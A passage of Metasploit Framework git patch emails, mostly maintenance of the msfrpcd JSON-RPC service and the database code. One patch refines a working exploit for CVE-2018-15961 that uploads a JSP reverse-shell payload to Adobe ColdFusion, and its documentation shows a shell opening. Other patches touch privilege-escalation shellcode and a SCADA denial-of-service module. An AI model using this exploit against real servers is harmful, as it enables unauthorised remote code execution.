modules/auxiliary/fileformat/badpdf.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/fileformat/badpdf.rb b/modules/auxiliary/fileformat/badpdf.rb index da877c66c8c6..89c8cbad4b23 100644 --- a/modules/auxiliary/fileformat/badpdf.rb +++ b/modules/auxiliary/fileformat/badpdf.rb @@ -39,14 +39,14 @@ def initialize(info = {}) end def run - if datastore['PDFINJECT'].to_s.end_with?('.pdf') && datastore['FILENAME'].to_s.end_with?('.pdf') + if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil? print_error 'Please configure either FILENAME or PDFINJECT' elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf') injectpdf elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf') createpdf else - print_error 'FILENAME or PDFINJECT must end with '.pdf' file extension' + print_error "FILENAME or PDFINJECT must end with '.pdf' file extension" end end From 307cc8c107c09779ace588c79eb127bfb860fc51 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 9 Jan 2019 11:12:51 -0600 Subject: [PATCH 199/220] fix comment --- modules/post/windows/escalate/ms10_073_kbdlayout.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 42b250f1cec9..8f0b1432733c 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -85,7 +85,7 @@ def run ring0_code = #"\xcc" + - # save registers -- necessary for successfully recovery + # save registers -- necessary for successful recovery "\x60" + # get EPROCESS from ETHREAD "\x64\xa1\x24\x01\x00\x00" + From 0f156140fe040ed322b6c7883e7e068be3d6f822 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 9 Jan 2019 12:11:50 -0600 Subject: [PATCH 200/220] Clean up module --- modules/auxiliary/dos/scada/allen_bradley_pccc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb index c0e8c91a5a01..588b947a1791 100644 --- a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -39,7 +39,7 @@ def initialize(info = {}) VULN_FW_VERSION_MIN = 14.00 VULN_FW_VERSION_MAX = 16.00 def le_pp(s) - return "0x" << Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("") + "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}" end def enip_register_session_pkt From a2aac31eff635fd36ec0367a3940d4a4749c9a04 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 15:48:40 -0500 Subject: [PATCH 201/220] Correct typo in variable name --- msfrpcd | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/msfrpcd b/msfrpcd index d0c57775e6c4..08099a4969eb 100755 --- a/msfrpcd +++ b/msfrpcd @@ -20,7 +20,7 @@ RPC_TYPE = 'Msg' @ws_ssl_cert_default = "#{@localconf}/#{@ws_tag}-cert.pem" @ws_log = "#{@localconf}/logs/#{@ws_rpc_tag}.log" @ws_rpc_pid = "#{@localconf}/#{@ws_rpc_tag}.pid" -@ws_tag = 'production' +@ws_env = 'production' def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, daemonize:) @@ -50,7 +50,7 @@ def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ss ssl_key: ssl_key, ssl_cert: ssl_cert, ssl_disable_verify: ssl_disable_verify, - env: @ws_tag, + env: @ws_env, daemonize: daemonize, log: @ws_log, pid: @ws_rpc_pid, @@ -76,7 +76,7 @@ def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl ssl_key: ssl_key, ssl_cert: ssl_cert, ssl_disable_verify: ssl_disable_verify, - env: @ws_tag, + env: @ws_env, daemonize: daemonize, log: @ws_log, pid: @ws_rpc_pid, From a465d09110bb5519679f8683e16d97d52f27924f Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 16:00:45 -0500 Subject: [PATCH 202/220] Update JSON-RPC URI output to fixed version v1 --- msfrpcd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfrpcd b/msfrpcd index 08099a4969eb..6f3aaecfab34 100755 --- a/msfrpcd +++ b/msfrpcd @@ -206,7 +206,7 @@ if $PROGRAM_NAME == __FILE__ end $stderr.puts "[*] JSON-RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"})..." - $stderr.puts "[*] URI: /api//json-rpc" + $stderr.puts "[*] URI: /api/v1/json-rpc" $stderr.puts "[*] JSON-RPC server log: #{@ws_log}" unless foreground ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), @ws_conf)) From b544125f509eb3a2f6bdb2730477d120d9bf3745 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 17:19:15 -0500 Subject: [PATCH 203/220] Refactor JSON-RPC related variables Dynamically get MSF config root directory rather than a fixed value. --- msfrpcd | 97 +++++++++++++++++++++++++++++---------------------------- 1 file changed, 50 insertions(+), 47 deletions(-) diff --git a/msfrpcd b/msfrpcd index 6f3aaecfab34..91ec1ad32889 100755 --- a/msfrpcd +++ b/msfrpcd @@ -10,32 +10,26 @@ # RPC_TYPE = 'Msg' +WS_TAG = 'msf-ws' +WS_RPC_TAG = 'msf-json-rpc' +WS_CONF = "#{WS_RPC_TAG}.ru" +WS_ENV = 'production' -@localconf = "#{ENV['HOME']}/.msf4" -@ws_tag = 'msf-ws' -@ws_rpc_tag = 'msf-json-rpc' -@ws_conf_full_path = nil -@ws_conf = "#{@ws_rpc_tag}.ru" -@ws_ssl_key_default = "#{@localconf}/#{@ws_tag}-key.pem" -@ws_ssl_cert_default = "#{@localconf}/#{@ws_tag}-cert.pem" -@ws_log = "#{@localconf}/logs/#{@ws_rpc_tag}.log" -@ws_rpc_pid = "#{@localconf}/#{@ws_rpc_tag}.pid" -@ws_env = 'production' - -def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, daemonize:) +def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, + ssl_disable_verify:, daemonize:, log:, pid:) unless File.file?(conf) $stdout.puts "[-] No MSF JSON-RPC web service configuration found at #{conf}, not starting" return false end # check if MSF JSON-RPC web service is already started - if File.file?(@ws_rpc_pid) - ws_pid = Msf::Util::ServiceHelper.tail(@ws_rpc_pid) + if File.file?(pid) + ws_pid = Msf::Util::ServiceHelper.tail(pid) if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) $stdout.puts "[-] MSF JSON-RPC web service PID file found, but no active process running as PID #{ws_pid}" - $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{@ws_rpc_pid}" - File.delete(@ws_rpc_pid) + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{pid}" + File.delete(pid) else $stdout.puts "[*] MSF JSON-RPC web service is already running as PID #{ws_pid}" return false @@ -50,22 +44,23 @@ def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ss ssl_key: ssl_key, ssl_cert: ssl_cert, ssl_disable_verify: ssl_disable_verify, - env: @ws_env, + env: WS_ENV, daemonize: daemonize, - log: @ws_log, - pid: @ws_rpc_pid, - tag: @ws_rpc_tag) + log: log, + pid: pid, + tag: WS_RPC_TAG) Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} start") end -def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, daemonize:) - ws_pid = Msf::Util::ServiceHelper.tail(@ws_rpc_pid) +def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, + ssl_disable_verify:, daemonize:, log:, pid:) + ws_pid = Msf::Util::ServiceHelper.tail(pid) $stdout.puts '' if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) $stdout.puts '[*] MSF JSON-RPC web service is no longer running' - if File.file?(@ws_rpc_pid) - $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{@ws_rpc_pid}" - File.delete(@ws_rpc_pid) + if File.file?(pid) + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{pid}" + File.delete(pid) end else $stdout.puts "[*] Stopping MSF JSON-RPC web service PID #{ws_pid}" @@ -76,11 +71,11 @@ def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl ssl_key: ssl_key, ssl_cert: ssl_cert, ssl_disable_verify: ssl_disable_verify, - env: @ws_env, + env: WS_ENV, daemonize: daemonize, - log: @ws_log, - pid: @ws_rpc_pid, - tag: @ws_rpc_tag) + log: log, + pid: pid, + tag: WS_RPC_TAG) Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} stop") end end @@ -121,8 +116,23 @@ if $PROGRAM_NAME == __FILE__ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + require 'msf/base' + require 'msf/ui' + require 'msf/util/service_helper' + require 'msf/base/config' require 'rex/parser/arguments' + ws_ssl_key_default = File.join(Msf::Config.get_config_root, "#{WS_TAG}-key.pem") + ws_ssl_cert_default = File.join(Msf::Config.get_config_root, "#{WS_TAG}-cert.pem") + ws_log = File.join(Msf::Config.get_config_root, 'logs', "#{WS_RPC_TAG}.log") + ws_rpc_pid = File.join(Msf::Config.get_config_root, "#{WS_RPC_TAG}.pid") + ws_ssl_key = ws_ssl_key_default + ws_ssl_cert = ws_ssl_cert_default + ssl_enable_verify = false + foreground = false + json_rpc = false + frameworkOpts = {} + opts = { 'RunInForeground' => true, 'SSL' => true, @@ -144,18 +154,11 @@ if $PROGRAM_NAME == __FILE__ "-f" => [ false, "Run the daemon in the foreground" ], "-n" => [ false, "Disable database" ], "-j" => [ false, "(JSON-RPC) Start JSON-RPC server" ], - "-k" => [ false, "(JSON-RPC) Path to private key (default: #{@ws_ssl_key_default})" ], - "-c" => [ false, "(JSON-RPC) Path to certificate (default: #{@ws_ssl_cert_default})" ], + "-k" => [ false, "(JSON-RPC) Path to private key (default: #{ws_ssl_key_default})" ], + "-c" => [ false, "(JSON-RPC) Path to certificate (default: #{ws_ssl_cert_default})" ], "-v" => [ false, "(JSON-RPC) SSL enable verify (optional) client cert requests" ], "-h" => [ false, "Help banner" ]) - foreground = false - json_rpc = false - ssl_enable_verify = false - ws_ssl_key = @ws_ssl_key_default - ws_ssl_cert = @ws_ssl_cert_default - frameworkOpts = {} - # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| case opt @@ -193,23 +196,19 @@ if $PROGRAM_NAME == __FILE__ $0 = "msfrpcd" - require 'msf/base' - require 'msf/ui' - require 'msf/util/service_helper' - begin if json_rpc - if !File.file?(@ws_ssl_key_default) || !File.file?(@ws_ssl_cert_default) + if !File.file?(ws_ssl_key_default) || !File.file?(ws_ssl_cert_default) $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first." abort end $stderr.puts "[*] JSON-RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"})..." $stderr.puts "[*] URI: /api/v1/json-rpc" - $stderr.puts "[*] JSON-RPC server log: #{@ws_log}" unless foreground + $stderr.puts "[*] JSON-RPC server log: #{ws_log}" unless foreground - ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), @ws_conf)) + ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), WS_CONF)) start_json_rpc_service(conf: ws_conf_full_path, address: opts['ServerHost'], @@ -218,7 +217,9 @@ if $PROGRAM_NAME == __FILE__ ssl_key: ws_ssl_key, ssl_cert: ws_ssl_cert, ssl_disable_verify: !ssl_enable_verify, - daemonize: !foreground) + daemonize: !foreground, + log: ws_log, + pid: ws_rpc_pid) else unless opts['Pass'] $stderr.puts "[-] Error: a password must be specified (-P)" @@ -238,6 +239,8 @@ if $PROGRAM_NAME == __FILE__ ssl_key: ws_ssl_key, ssl_cert: ws_ssl_cert, ssl_disable_verify: !ssl_enable_verify, - daemonize: !foreground) if json_rpc + daemonize: !foreground, + log: ws_log, + pid: ws_rpc_pid) if json_rpc end end \ No newline at end of file From 0350d87ee44be7eebdfc3a8f135a28a2eb65a209 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 17:42:57 -0500 Subject: [PATCH 204/220] Add background process ID output --- msfrpcd | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/msfrpcd b/msfrpcd index 91ec1ad32889..9cce6339e99b 100755 --- a/msfrpcd +++ b/msfrpcd @@ -87,7 +87,11 @@ def start_rpc_service(opts, frameworkOpts, foreground) $stdout.puts "[*] #{RPC_TYPE.upcase}RPC ready at #{Time.now}." else $stderr.puts "[*] #{RPC_TYPE.upcase}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() + child_pid = Process.fork() + if child_pid + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC background PID #{child_pid}" + exit(0) + end end rescue ::NotImplementedError $stderr.puts "[-] Background mode is not available on this platform" @@ -207,6 +211,7 @@ if $PROGRAM_NAME == __FILE__ $stderr.puts "[*] JSON-RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"})..." $stderr.puts "[*] URI: /api/v1/json-rpc" $stderr.puts "[*] JSON-RPC server log: #{ws_log}" unless foreground + $stderr.puts "[*] JSON-RPC server PID file: #{ws_rpc_pid}" unless foreground ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), WS_CONF)) From 799a79b7150b0fd6ed270b3ad7ceb990d1719934 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 9 Jan 2019 20:28:53 -0500 Subject: [PATCH 205/220] ueb priv esc suggestion --- modules/exploits/linux/http/ueb_api_rce.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/linux/http/ueb_api_rce.rb b/modules/exploits/linux/http/ueb_api_rce.rb index 190af5807551..db70f4935f48 100644 --- a/modules/exploits/linux/http/ueb_api_rce.rb +++ b/modules/exploits/linux/http/ueb_api_rce.rb @@ -123,5 +123,11 @@ def exploit print_status("#{peer} - Sending requests to UEB...") execute_cmdstager(:linemax => 120) end + + def on_new_session(session) + if target.name == 'UEB < 10.1.0' + print_good("A privilege escalation exploit can be found 'exploits/linux/local/ueb_bpserverd_privesc'") + end + end end From 5e28bccda96e1932d1045a913389ecfcd2e6be50 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 23:40:02 -0500 Subject: [PATCH 206/220] Move msfdb_ws since it is deprecated by msfdb --- metasploit-framework.gemspec | 2 +- spec/spec_helper.rb | 2 +- msfdb_ws => tools/dev/msfdb_ws | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) rename msfdb_ws => tools/dev/msfdb_ws (95%) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 8dd0a3c5c8aa..1bbed2427969 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -100,7 +100,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'redcarpet' # Needed for Microsoft patch finding tool (msu_finder) spec.add_runtime_dependency 'patch_finder' - # Required for msfdb_ws (Metasploit data base as a webservice) + # Required for Metasploit Web Services spec.add_runtime_dependency 'thin' spec.add_runtime_dependency 'sinatra' spec.add_runtime_dependency 'warden' diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 302d287c17fa..642d5f7dc5c4 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -112,7 +112,7 @@ if ENV['REMOTE_DB'] require 'metasploit/framework/data_service/remote/managed_remote_data_service' opts = {} - opts[:process_name] = 'msfdb_ws' + opts[:process_name] = File.join('tools', 'dev', 'msfdb_ws') opts[:host] = 'localhost' opts[:port] = '8080' diff --git a/msfdb_ws b/tools/dev/msfdb_ws similarity index 95% rename from msfdb_ws rename to tools/dev/msfdb_ws index 7ac81c5a39e1..67db1e52720e 100755 --- a/msfdb_ws +++ b/tools/dev/msfdb_ws @@ -15,7 +15,7 @@ end def require_deps require 'pathname' - require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') + require Pathname.new(__FILE__).realpath.expand_path.parent.parent.parent.join('config', 'boot') require 'msf/core/web_services/http_db_manager_service' end From c3f71a1692599105ab1a0ece767061484c6119f8 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 9 Jan 2019 23:56:16 -0500 Subject: [PATCH 207/220] Update Rspec expected thread count When REMOTE_DB is set there is a thread for the web service, in addition to the External modules thread manager, so there is one or two threads by the end of the test run in addition to the main VM thread. --- lib/metasploit/framework/spec/threads/suite.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 3033679f4faf..dcee3034a737 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -12,7 +12,7 @@ module Suite # # Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)` - EXPECTED_THREAD_COUNT_AROUND_SUITE = 2 + EXPECTED_THREAD_COUNT_AROUND_SUITE = ENV['REMOTE_DB'] ? 3 : 2 # `caller` for all Thread.new calls LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') From 4074913b604e4004bf440356df5ac03a94f51bb1 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Thu, 10 Jan 2019 00:30:54 -0600 Subject: [PATCH 208/220] Dont log every request when using HTTP data service --- lib/metasploit/framework/data_service/remote/http/core.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index e5248ef73343..573301bce644 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -157,7 +157,8 @@ def make_request(request_type, path, data_hash = nil, query = nil) # simplify query by removing nil values query_str = (!query.nil? && !query.empty?) ? query.compact.to_query : nil uri = URI::HTTP::build({path: path, query: query_str}) - dlog("HTTP #{request_type} request to #{uri.request_uri} with #{data_hash ? data_hash : "nil"}") + # TODO: Re-enable this logging when framework handles true log levels. + #dlog("HTTP #{request_type} request to #{uri.request_uri} with #{data_hash ? data_hash : "nil"}") client = @client_pool.pop case request_type From 97dbade2e6101bd4c756f6e8e63f978181634edb Mon Sep 17 00:00:00 2001 From: Charlie van Rantwijk Date: Thu, 10 Jan 2019 10:47:53 +0100 Subject: [PATCH 209/220] typo fixes in cisco_firepower_useradd.md --- .../modules/exploit/linux/http/cisco_firepower_useradd.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md index d7044285ffcb..6d74786624ad 100644 --- a/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md +++ b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md @@ -24,9 +24,9 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862 ## Options -**USERNAME** The username for Cisco Firepower Management console +**USERNAME** The username for Cisco Firepower Management console. -**Password** The password for Cisco Firepower Management cosnole +**PASSWORD** The password for Cisco Firepower Management console. **NEWSSHUSER** The SSH account to create. By default, this is random. From b81f59e7b1500cc58374c30bdcc6718bf2a432dd Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 10 Jan 2019 06:39:45 -0600 Subject: [PATCH 210/220] Fix targets and syntax changes --- .../http/coldfusion_ckeditor_file_upload.rb | 89 ++++++++----------- 1 file changed, 38 insertions(+), 51 deletions(-) diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb index 305ff0498997..a45c207b2f0e 100644 --- a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -18,89 +18,76 @@ def initialize(info = {}) ColdFusion 2018 (July 12 release) allows unauthenticated remote attackers to upload and execute JSP files through the filemanager plugin. - Tested on Adobe ColdFusion 2018. + Tested on Adobe ColdFusion 2018.0.0.310739. }, 'Author' => [ - 'Pete Freitag de Foundeo', # Vulnerability discovery - 'Vahagn vah_13 Vardanian', # First public PoC - 'Qazeer' # Metasploit module + 'Pete Freitag de Foundeo', # Vulnerability discovery + 'Vahagn vah_13 Vardanian', # First public PoC + 'Qazeer' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - [ "CVE", "2018-15961" ], - [ "BID", "105314" ], - [ "URL", "https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html" ] + [ 'CVE', '2018-15961' ], + [ 'BID', '105314' ], + [ 'URL', 'https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html' ] ], 'Privileged' => false, - 'Stance' => Msf::Exploit::Stance::Aggressive, - 'Platform' => ['win', 'linux'], - 'Targets' => + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => [ - [ 'Universal Linux Target', + [ 'Java Universal', { 'Arch' => ARCH_JAVA, - 'Platform' => 'linux', - 'Payload' => - { - 'DisableNops' => true, - }, + 'Platform' => %w{ linux win }, + 'Payload' => { 'DisableNops' => true }, + 'DefaultOptions' => {'PAYLOAD' => 'java/jsp_shell_reverse_tcp'} } - ], - [ 'Universal Windows Target', - { - 'Arch' => ARCH_JAVA, - 'Platform' => 'win', - 'Payload' => - { - 'DisableNops' => true, - }, - } - ], + ] ], 'DefaultTarget' => 0, + 'DefaultOptions' => { 'RPORT' => 8500 }, 'DisclosureDate' => 'Sep 11 2018' )) - register_options( - [ - OptString.new('TARGETURI', [ false, 'The CKEditor path', '/cf_scripts/scripts/ajax/ckeditor' ]), - ]) + register_options [ + OptString.new('TARGETURI', [ false, 'Base application path', '/' ]), + ] end def exploit filename = rand_text_alpha_upper(1..10) + '.jsp' - print_status("Uploading the JSP payload at #{datastore['TARGETURI']}/plugins/filemanager/uploadedFiles/#{filename}...") + print_status("Uploading the JSP payload at #{target_uri}cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/#{filename}...") mime = Rex::MIME::Message.new - mime.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{filename}\"") - mime.add_part("path", "text/plain", nil, "form-data; name=\"path\"") + mime.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + mime.add_part('path', 'text/plain', nil, 'form-data; name="path"') post_str = mime.to_s post_str.strip! - res = send_request_cgi( - { - 'uri' => normalize_uri(datastore['TARGETURI'], "plugins", "filemanager", "upload.cfm"), - 'version' => '1.1', - 'method' => 'POST', - 'ctype' => 'multipart/form-data; boundary=' + mime.bound, - 'data' => post_str, - }) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'cf_scripts','scripts','ajax','ckeditor','plugins','filemanager','upload.cfm'), + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, + 'data' => post_str, + }) - unless (res && res.code == 200) + unless res && res.code == 200 fail_with Failure::Unknown, 'Upload Failed...' end - print_good("Upload succeeded! Executing payload...") + print_good('Upload succeeded! Executing payload...') + + send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'cf_scripts', 'scripts', 'ajax', + 'ckeditor', 'plugins', 'filemanager', 'uploadedFiles', filename), + 'method' => 'GET' + }, 5) - send_request_cgi( - { - 'uri' => "#{datastore['TARGETURI']}/plugins/filemanager/uploadedFiles/#{filename}", - 'method' => 'GET' - }, 5) - end -end \ No newline at end of file +end From 33b8735d1cef103c0573e011cfc3ee49074a6bba Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 10 Jan 2019 06:40:38 -0600 Subject: [PATCH 211/220] Add doc coldfusion_ckeditor_file_upload --- .../http/coldfusion_ckeditor_file_upload.md | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md diff --git a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md new file mode 100644 index 000000000000..449b5fc420c8 --- /dev/null +++ b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md @@ -0,0 +1,51 @@ +## Description + +A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 +(Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and +ColdFusion 2018 (July 12 release) allows unauthenticated remote +attackers to upload and execute JSP files through the filemanager +plugin. Tested on Adobe ColdFusion 2018 v2018.0.0.310739. + +## Vulnerable Application + +ColdFusion 11 (Update 14 and earlier), +ColdFusion 2016 (Update 6 and earlier), and +[ColdFusion 2018 (July 12 release)](https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0) + + +## Verification Steps + +1. `./msfconsole -q` +2. `use exploit/multi/http/coldfusion_ckeditor_file_upload` +3. `set rhosts ` +4. `set lhost ` +5. `exploit` +6. Get a shell + + +## Scenarios + +### Tested on Coldfusion 2018 v2018.0.0.310739 + +``` + +msf5 > use exploit/multi/http/coldfusion_ckeditor_file_upload +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set rhosts 172.22.222.142 +rhosts => 172.22.222.142 +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set lhost 172.22.222.136 +lhost => 172.22.222.136 +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > exploit + +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] Uploading the JSP payload at /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/ASMK.jsp... +[+] Upload succeeded! Executing payload... +[*] Command shell session 1 opened (172.22.222.136:4444 -> 172.22.222.142:43262) at 2019-01-10 06:30:52 -0600 + +whoami +cfuser +uname -a +Linux 6bd4238e7ffb 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 172.22.222.142 - Command shell session 1 closed. +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > +``` From 8ebbd9eeea3be515bd0f88e4d069b2bd9fb6064d Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 10 Jan 2019 06:44:22 -0600 Subject: [PATCH 212/220] Remove extra new lines --- .../exploit/multi/http/coldfusion_ckeditor_file_upload.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md index 449b5fc420c8..e84b7d0ca2a1 100644 --- a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md +++ b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md @@ -12,7 +12,6 @@ ColdFusion 11 (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and [ColdFusion 2018 (July 12 release)](https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0) - ## Verification Steps 1. `./msfconsole -q` @@ -22,13 +21,11 @@ ColdFusion 2016 (Update 6 and earlier), and 5. `exploit` 6. Get a shell - ## Scenarios ### Tested on Coldfusion 2018 v2018.0.0.310739 ``` - msf5 > use exploit/multi/http/coldfusion_ckeditor_file_upload msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set rhosts 172.22.222.142 rhosts => 172.22.222.142 From 0ad89528eaf09ec28a7dbbd413433076523c1dac Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Thu, 10 Jan 2019 10:55:36 -0600 Subject: [PATCH 213/220] Update pattern for creds --- lib/msf/core/db_manager/cred.rb | 3 ++- lib/msf/core/db_manager/login.rb | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index c816cf1ff8cc..1bacaa001fd3 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -262,7 +262,8 @@ def update_credential(opts) end id = opts.delete(:id) - Metasploit::Credential::Core.update(id, opts) + cred = Metasploit::Credential::Core.find(id) + cred.update(opts) } end diff --git a/lib/msf/core/db_manager/login.rb b/lib/msf/core/db_manager/login.rb index e8c603809c16..19053203e0f8 100644 --- a/lib/msf/core/db_manager/login.rb +++ b/lib/msf/core/db_manager/login.rb @@ -10,7 +10,8 @@ def update_login(opts) wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Metasploit::Credential::Login.update(id, opts) + login = Metasploit::Credential::Login.find(id) + login.update!(opts) } end From 5055e421f57759a2cb70d21a270d93daa288d403 Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Thu, 10 Jan 2019 10:56:28 -0600 Subject: [PATCH 214/220] Add ! to cred update --- lib/msf/core/db_manager/cred.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/cred.rb 